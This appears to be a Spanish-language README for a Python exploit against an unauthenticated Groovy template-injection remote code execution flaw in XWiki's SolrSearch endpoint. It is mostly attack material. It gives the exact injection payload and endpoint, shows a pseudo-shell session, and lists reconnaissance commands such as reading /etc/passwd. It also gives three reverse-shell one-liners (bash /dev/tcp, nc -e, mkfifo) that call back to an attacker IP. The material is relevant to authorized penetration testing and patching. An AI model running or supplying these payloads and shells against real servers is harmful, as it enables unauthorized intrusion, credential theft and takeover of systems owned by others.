
Ejecución remota de código no autenticada en XWiki a través de la macro SolrSearch
Un exploit en Python para la vulnerabilidad de Inyección de Plantillas del Lado del Servidor (SSTI) en XWiki a través de la inyección de plantillas Groovy en el endpoint SolrSearch.
pip3 install requests beautifulsoup4
./xwiki_exploit.py -u http://target --test
./xwiki_exploit.py -u http://target.com -c "whoami"
./xwiki_exploit.py -u http://target.com -c "id"
./xwiki_exploit.py -u http://target.com -c "ls -la /tmp"
./xwiki_exploit.py -u http://target.com
Esto te dará un pseudo-shell interactivo donde puedes ejecutar comandos:
xwiki> whoami
xwiki
xwiki> pwd
/usr/lib/xwiki-jetty
xwiki> ls /home
oliver
xwiki> exit
./xwiki_exploit.py -u http://target.com -c "id" --debug
-u, --url URL: URL del objetivo (obligatorio)-c, --command CMD: Ejecutar comando único--test: Probar si el objetivo es vulnerable--no-verify-ssl: Deshabilitar verificación del certificado SSL--debug: Habilitar salida de depuraciónRecopilación de Información:
./xwiki_exploit.py -u http://target.com -c "uname -a"
./xwiki_exploit.py -u http://target.com -c "cat /etc/os-release"
./xwiki_exploit.py -u http://target.com -c "cat /etc/passwd"
Buscar Archivos Interesantes:
./xwiki_exploit.py -u http://target.com -c "find /home -type f -readable 2>/dev/null"
./xwiki_exploit.py -u http://target.com -c "ls -la /var/lib/xwiki"
Información de Red:
./xwiki_exploit.py -u http://target.com -c "ip addr"
./xwiki_exploit.py -u http://target.com -c "netstat -tulpn"
Establecer Reverse Shell:
# On attacker machine, start listener:
nc -lvnp 1337
# From exploit (try different methods):
./xwiki_exploit.py -u http://target.com -c "bash -c 'bash -i >& /dev/tcp/IP/1337 0>&1'"
./xwiki_exploit.py -u http://target.com -c "nc -e /bin/sh IP 1337"
./xwiki_exploit.py -u http://target.com -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP 1337 >/tmp/f"
El exploit utiliza la siguiente estructura de payload SSTI:
}}}{{async async=false}}{{groovy}}println("COMMAND".execute().text){{/groovy}}{{/async}}
El payload está codificado en URL y se envía al endpoint vulnerable:
/xwiki/bin/view/Main/SolrSearch?media=rss&text=[PAYLOAD]
El servidor procesa la plantilla Groovy y ejecuta el comando
La salida se captura de la respuesta del feed RSS en el formato:
search on [}}OUTPUT]
El exploit analiza la respuesta HTML para extraer la salida del comando
xwiki (uid=997)/usr/lib/xwiki-jettyEsta herramienta es solo para fines educativos y de pruebas de penetración autorizadas. Úsala únicamente en sistemas en los que tengas permiso para realizar pruebas.